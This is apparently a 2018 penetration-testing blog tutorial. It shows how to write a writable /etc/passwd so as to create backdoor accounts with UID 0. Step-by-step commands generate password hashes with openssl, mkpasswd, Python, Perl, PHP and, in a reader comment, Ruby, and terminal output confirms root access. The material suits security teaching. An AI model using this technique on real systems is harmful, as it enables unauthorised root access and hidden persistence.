Editing /etc/passwd File for Privilege Escalation

posted in PENETRATION TESTING on MAY 12, 2018 by RAJ CHANDEL SHARE

In this article, we will learn "Various methods to alter etc/passwd file to create or modify a user for root privileges". Sometimes, it is necessary to know 'how to edit your own user for privilege escalation in machine' inside **/etc/passwd** file, once target is compromised.You can read our previous article where we had applied this trick for privilege escalation. Open the links given below:

Link 1: Hack the Box Challenge: Apocalyst Walkthrough

Link 2: Hack the Hackday Albania VM (CTF Challenge)

Firstly, we should be aware of /etc/passwd file in depth before reaching to the point. Inside etc directory, we will get three most important files i.e. **passwd**, **group** and **shadow**.

etc/passwd: It is a human-readable text file which stores information of user account.

etc/group: It is also a human-readable text file which stores group information as well as user belongs to which group can be identified through this file.

etc/shadow: It is a file that contains encrypted password and information of account expire for any user.

The format of details in /passwd File

raj:x:1000:1000:,,,:/home/raj:/bin/bash

S.no	Color	Filed	Information
1	Indigo	Username	raj
2	Green	Encrypted password	X
3	Yellow	User Id	1000
4	Red	Group Id	1000
5	Violet	Gecos Filed	,,,
6	Brown	Home Directory	/home/raj
7	Blue	Command/Shell	/bin/bash

Get into its Details Description

Username: First filed indicates the name of the user which is used to login.

Encrypted password: The **X denote**s encrypted password which is actually stored inside /shadow file. If the user does not have a password, then the password field will have an *(**asterisk**).

User Id (UID): Every user must be allotted a user ID (UID). UID **0** (zero) is kept for root user and UIDs **1-99** are kept for further predefined accounts, UID **100-999** are kept by the system for administrative purpose. UID **1000** is almost always the first non-system user, usually an administrator. If we create a new user on our Ubuntu system, it will be given the UID of **1001**.

Group Id (GID): It denotes the group of each user; like as UIDs, the first **100** GIDs are usually kept for system use. The GID of **0** relates to the root group and the GID of **1000** usually signifies the users. New groups are generally allotted GIDs begins from **1000.**

Gecos Field: Usually, this is a set of comma-separated values that tells more details related to the users. The format for the GECOS field denotes the following information:

User's full name

Building and room number or contact person

Office telephone number

Home telephone number

Any other contact information

Home Directory: Denotes the path of user's home directory, where all his files and programs are stored. If there is no specify directory then / becomes user's directory.

Shell: It denotes the full path of the default shell that executes commands (by user) and displays the results.

NOTE: Each field is separated by **: (colon)**

Let's Start Now!!

Adding User by Default Method

Let's first open /etc/passwd file through cat command, to view the present users available in our system.

```
stunnel4:x:113:116::/var/run/stunnel4:/usr/sbin/nologin
rtkit:x:114:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
postgres:x:115:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
dnsmasq:x:116:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
messagebus:x:117:119::/nonexistent:/usr/sbin/nologin
iodine:x:118:65534::/var/run/iodine:/usr/sbin/nologin
arpwatch:x:119:121:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh
sslh:x:120:125::/nonexistent:/usr/sbin/nologin
gluster:x:121:127::/var/lib/glusterd:/usr/sbin/nologin
couchdb:x:122:128:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
geoclue:x:123:131::/var/lib/geoclue:/usr/sbin/nologin
sshd:x:124:65534::/run/sshd:/usr/sbin/nologin
colord:x:125:132:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/no
login
saned:x:126:134::/var/lib/saned:/usr/sbin/nologin
speech-dispatcher:x:127:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/
false
avahi:x:128:135:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
pulse:x:129:136:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
Debian-gdm:x:130:138:Gnome Display Manager:/var/lib/gdm3:/bin/false
king-phisher:x:131:139::/var/lib/king-phisher:/usr/sbin/nologin
dradis:x:132:140::/var/lib/dradis:/usr/sbin/nologin
beef-xss:x:133:141::/var/lib/beef-xss:/usr/sbin/nologin
inetsim:x:134:999::/var/lib/inetsim:/usr/sbin/nologin
Debian-snmp:x:111:113::/var/lib/snmp:/bin/false
systemd-coredump:x:997:997:systemd Core Dumper:/:/sbin/nologin
nm-openvpn:x:135:142:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin
/nologin
raj:x:1000:1000:,,,:/home/raj:/bin/bash
```

From image given above, you can perceive that "raj" is the last user with **uid 1000.** Here **gid 1000** denotes it is a non-system user.

Let see what happens actually in /passwd file, when we add any user with adduser command. So here you can clearly match the following information from below given image.

adduser user1

Username: user1

GID: 1002

UID: 1001

Enter password: (Hidden)

Home Directory: /home/user1

Gecos Filed: Full Name, Room Number, Work phone, Home Phone, Other (are blanked)

```
root@kali:~# adduser user1
Adding user `user1' ...
Adding new group `user1' (1002) ...
Adding new user `user1' (1001) with group `user1' ...
Creating home directory `/home/user1' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for user1
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
```


- Email Hacking
- Footprinting
- Hacking Tools
- Kali Linux
- Nmap
- Others
- Penetration Testing
- Social Engineering Toolkit
- Trojans & Backdoors
- Uncategorized
- Website Hacking
- Window Password Hacking
- Windows Hacking Tricks
- Wireless Hacking
- Youtube Hacking

Articles

Select Month

Facebook Page

When you will open /passwd file then you will notice that all above information has been stored inside /etc/passwd file.

```
avahi:x:128:135:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
pulse:x:129:136:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
Debian-gdm:x:130:138:Gnome Display Manager:/var/lib/gdm3:/bin/false
king-phisher:x:131:139::/var/lib/king-phisher:/usr/sbin/nologin
dradis:x:132:140::/var/lib/dradis:/usr/sbin/nologin
beef-xss:x:133:141::/var/lib/beef-xss:/usr/sbin/nologin
inetsim:x:134:999::/var/lib/inetsim:/usr/sbin/nologin
Debian-snmp:x:111:113::/var/lib/snmp:/bin/false
systemd-coredump:x:997:997:systemd Core Dumper:/:/sbin/nologin
nm-openvpn:x:135:142:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin
/nologin
raj:x:1000:1000:,,,:/home/raj:/bin/bash

user1:x:1001:1002:,,,:/home/user1:/bin/bash
```

Manually Editing User inside /etc/passwd File

Generally, a normal user has read-only permission for passwd file but sometimes it is also possible that a user has read/write permission, in that scenario we can add our own user inside /etc/passwd file with help of above theory.

```
1 user2:*:1002:1003:,,,:/home/user2:/bin/bash
```

The ***(asterisk)** sign denotes empty password for user2.

```
rtkit:x:114:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
postgres:x:115:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
dnsmasq:x:116:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
messagebus:x:117:119::/nonexistent:/usr/sbin/nologin
iodine:x:118:65534::/var/run/iodine:/usr/sbin/nologin
arpwatch:x:119:121:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh
sslh:x:120:125::/nonexistent:/usr/sbin/nologin
gluster:x:121:127::/var/lib/glusterd:/usr/sbin/nologin
couchdb:x:122:128:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash
geoclue:x:123:131::/var/lib/geoclue:/usr/sbin/nologin
sshd:x:124:65534::/run/sshd:/usr/sbin/nologin
colord:x:125:132:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/no
login
saned:x:126:134::/var/lib/saned:/usr/sbin/nologin
speech-dispatcher:x:127:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/
false
avahi:x:128:135:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
pulse:x:129:136:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
Debian-gdm:x:130:138:Gnome Display Manager:/var/lib/gdm3:/bin/false
king-phisher:x:131:139::/var/lib/king-phisher:/usr/sbin/nologin
dradis:x:132:140::/var/lib/dradis:/usr/sbin/nologin
beef-xss:x:133:141::/var/lib/beef-xss:/usr/sbin/nologin
inetsim:x:134:999::/var/lib/inetsim:/usr/sbin/nologin
Debian-snmp:x:111:113::/var/lib/snmp:/bin/false
systemd-coredump:x:997:997:systemd Core Dumper:/:/sbin/nologin
nm-openvpn:x:135:142:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin
/nologin
raj:x:1000:1000:,,,:/home/raj:/bin/bash
user1:x:1001:1002:,,,:/home/user1:/bin/bash
user2:*:1002:1003:,,,:/home/user2:/bin/bash
~
~
~
~
~
~
-- INSERT --                                              60,1          Bot
```

Since we have allotted 1003 GID for user2, therefore, we need to address it in /etc/group file too.

Follow the format given below:

Syntax: Username:X:GID

Since we don't have password, therefore, use * sign at the place of **X**.

user2:*:1003

```
couchdb:x:128:
lpadmin:x:129:
scanner:x:130:saned
geoclue:x:131:
colord:x:132:
sambashare:x:133:
saned:x:134:
avahi:x:135:
pulse:x:136:
pulse-access:x:137:
Debian-gdm:x:138:
kpadmins:x:139:
dradis:x:140:
beef-xss:x:141:
Debian-snmp:x:113:
nobody:x:998:
systemd-coredump:x:997:
nm-openvpn:x:142:
raj:x:1000:
user1:x:1002:
user2:*:1003:
~
-- INSERT --                                                    87,13
```

Now, set a password for user2 with **passwd command** and enter the password.

```
passwd user2
```

```
Enter new UNIX password:  abcd123
Retype new UNIX password:  abcd123
passwd: password updated successfully
```

Since we have created new user 'user2' manually without using adduser command, therefore, we will not find any new entry in /etc/shadow file. But it's there in /etc/passwd file, here the * sign has been replaced by encrypted password value. In this way, we can create our own user for privilege escalation.

```
systemd-coredump:x:997:997:systemd Core Dumper:/:/sbin/nologin
nm-openvpn:x:135:142:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin
/nologin
raj:x:1000:1000:,,,:/home/raj:/bin/bash
user1:x:1001:1002:,,,:/home/user1:/bin/bash
user2:$6$K5UEHtTN$HCLeFRUxZP5rw73rlOpWZUxAvfZXmRO8ly5jLrV7fMH0ME36trmIp8zeosDWQH
Y2K/nNnmXEzbuQg3ksYnUWD0:1002:1003:,,,:/home/user2:/bin/bash
root@kali:/#
```

Openssl

Sometimes it is not possible to execute passwd command to set the password of a user; in that case, we can use openssl command which will generate an encrypted password with salt.

OpenSSL passwd will compute the hash of the given password using salt string and the MD5-based BSD password algorithm 1.

Syntax: openssl passwd -1 -salt [salt value] {password}

```
 openssl passwd -1 -salt user3 pass123
```

```
root@kali:/# openssl passwd -1 -salt user3 pass123
$1$user3$rAGRVf5p2jYTqtqOW5cPu/
root@kali:/# vipw
```

We will get the encrypted password, after that, open /passwd file by typing **vipw command** in terminal and add username manually. Follow the manual step of adding new user "**user3**" and paste encrypted value at the place of * or X for a password.

In below image you can observe that, I have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user3.

```
raj:x:1000:1000:,,,:/home/raj:/bin/bash
user1:x:1001:1002:,,,:/home/user1:/bin/bash
user2:$6$K5UEHtTN$HCLeFRUxZP5rw73rlOpWZUxAvfZXmRO8ly5jLrV7fMH0ME36trmIp8zeosDWQH
Y2K/nNnmXEzbuQg3ksYnUWD0:1002:1003:,,,:/home/user2:/bin/bash
user3:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0:/root/root:/bin/bash

-- INSERT --                                                  60,1          Bot
```

Now switch user and access the terminal through user3 and confirm the root access.

```
su user3
whoami
id
```

YESSSSSS it is working successfully.

Note: You can also modify other user's password by replacing: X: from your own encrypted passwd and login with that user account using your password

```
root@kali:/# su user3
#
# ^C
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
```

mkpasswd

mkpasswd is similar as openssl passwd which will generate a hash of given password string.

Syntax: mkpasswd -m [hash type] {password}

```
mkpasswd -m SHA-512 pass
```

```
root@kali:/# mkpasswd -m SHA-512 pass
$6$ZgMrjqgBPTwE$RrVi1uzyZr8BPG958hsqJqT86yJPhFl0pBQrCkVqCJAmSHaols/FSvH3S5tTLDJO
EQZsHXsmOHO3/ov0evrp71
```

It will generate a hash for your password string, repeat above step or change the password of other existed users.

If you will compare entry of **user1** then you can notice the difference. We have replaced: X: from our hash value.

```
raj:x:1000:1000:,,,:/home/raj:/bin/bash
user1:$6$12345678$d.BXyzsDnZ9bqSXsOtNaSX8ZRi4jNFPC/uLJKf6r2fwPJzR8F3pomfIp2U8r5P
WfexUFacTOJGD7nVuCZdnQw.:0:0:/root/root:/bin/bash
user2:$6$K5UEHtTN$HCLeFRUxZP5rw73rlOpWZUxAvfZXmRO8ly5jLrV7fMH0ME36trmIp8zeosDWQH
Y2K/nNnmXEzbuQg3ksYnUWD0:1002:1003:,,,:/home/user2:/bin/bash
user3:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0:/root/root:/bin/bash
```

Now switch user and access the terminal through user1 and confirm the root access.

```
su user1
whoami
id
```

Great!! It is also working.

```
root@kali:/# su user1
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),27(sudo)
#
```

Python

Using python we can import crypt library and add salt to our password which will create encrypted password including that salt value.

```
python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'
```

```
root@kali:/# python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'
$6$salt$3aEJgflnzWuw1O3tr0IYSmhUY0cZ7iBQeBP392T7RXjLP3TKKu3ddIapQaCpbD4p9ioeGaVI
jOHaym7HvCuUm0
```

It will generate a hash value of your password string, repeat above step or change the password of other existed users. If you will compare entry of **user2** then you can notice the difference. We have replaced old hash value from our new hash value.

```
raj:x:1000:1000:,,,:/home/raj:/bin/bash
user1:$6$12345678$d.BXyzsDnZ9bqSXsOtNaSX8ZRi4jNFPC/uLJKf6r2fwPJzR8F3pomfIp2U8r5P
WfexUFacTOJGD7nVuCZdnQw.:0:0:/root/root:/bin/bash
user2:$6$salt$3aEJgflnzWuw1O3tr0IYSmhUY0cZ7iBQeBP392T7RXjLP3TKKu3ddIapQaCpbD4p9i
oeGaVIjOHaym7HvCuUm0:0:0:/root/root:/bin/bash
user3:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0:/root/root:/bin/bash

~
"/etc/passwd.edit" 61L, 3502C                                 58,115        Bot
```

Now switch user and access the terminal through user2 and confirm the root access.

```
su user2
whoami
id
pwd
sudo -l
```

It is also working, previously it was a member of /home/user2 directory but after becoming a member of /root directory you can notice it has owned all privilege of the root user.

```
root@kali:/# su user2
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# pwd
/
# sudo -l
Matching Defaults entries for root on kali:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/b
n

User root may run the following commands on kali:
    (ALL : ALL) ALL
# sudo su
```

Perl

Similarly, we can use Perl along with crypt to generate a hash value for our password using salt value.

```
perl -le 'print crypt("pass123", "abc")'
```

```
root@kali:~# perl -le 'print crypt("pass123", "abc")'
abBxjdJQWn8xw
root@kali:~# vipw
```

You will get the encrypted password, after that, again open /passwd file by typing **vipw command** in terminal and add username manually. Follow the manual step of adding new user "**user4**" and paste encrypted value at the place of * or X for a password.

In below image you can observe that I have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user4.

```
raj:x:1000:1000:,,,:/home/raj:/bin/bash
user1:$6$12345678$d.BXyzsDnZ9bqSXsOtNaSX8ZRi4jNFPC/uLJKf6r2fwPJzR8F3pomfIp2U8r5P
WfexUFacTOJGD7nVuCZdnQw.:0:0:/root/root:/bin/bash
user2:$6$salt$3aEJgflnzWuw1O3tr0IYSmhUY0cZ7iBQeBP392T7RXjLP3TKKu3ddIapQaCpbD4p9i
oeGaVIjOHaym7HvCuUm0:0:0:/root/root:/bin/bash
user3:$1$user3$rAGRVf5p2jYTqtqOW5cPu/:0:0:/root/root:/bin/bash
user4:abBxjdJQWn8xw:0:0:/root/root:/bin/bash
```

Now switch user and access the terminal through user4 and confirm the root access.

```
su user4
whoami
id
```

Great!! This method is also working.

```
root@kali:~# su user4
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
#
```

PHP

Similarly we can use PHP along with crypt to generate hash for our password using salt value.

```
php -r "print(crypt('aarti','123') . \"\n\");"
```

```
root@kali:/# php -r "print(crypt('aarti','123') . \"\n\");"
121z.fuKOKzx.
root@kali:/# vipw
```

You will get the encrypted password, after that, open /passwd file by typing **vipw command** in terminal and add username manually. Follow the manual step of adding new user "**user5**" and paste encrypted value in field of password.

In below image you can observe that I have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user5.

Now switch user and access the terminal through user5 and confirm the root access.

```
su user5
whoami
id
```

Hence there are so many ways to add your own users with root access which is quite helpful to get root privilege in any machine.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact **here**

ABOUT THE AUTHOR

RAJ CHANDEL

Raj Chandel is a Skilled and Passionate IT Professional especially in IT-Hacking Industry. At present other than his name he can also be called as An Ethical Hacker, A Cyber Security Expert, A Penetration Tester. With years of quality Experience in IT and software industry

PREVIOUS POST

← HACK THE BOX CHALLENGE: TALLY WALKTHROUGH

NEXT POST

CAPTURE NTLM HASHES USING PDF (BAD-PDF) →

2 Comments → EDITING /ETC/PASSWD FILE FOR PRIVILEGE ESCALATION

KING SABRI May 14, 2018 at 1:06 am

Thanks,
You're missing the Ruby version

```
ruby -r 'digest' -e 'puts "pass".crypt("$6$salt")'
```

REPLY ↓

TESFAMICHAEL May 20, 2018 at 11:41 am

thanks

REPLY ↓

Leave a Reply

Your email address will not be published. Required fields are marked *

Comment

Name *

Email *

Website

Save my name, email, and website in this browser for the next time I comment.

POST COMMENT

Notify me of follow-up comments by email.

Notify me of new posts by email.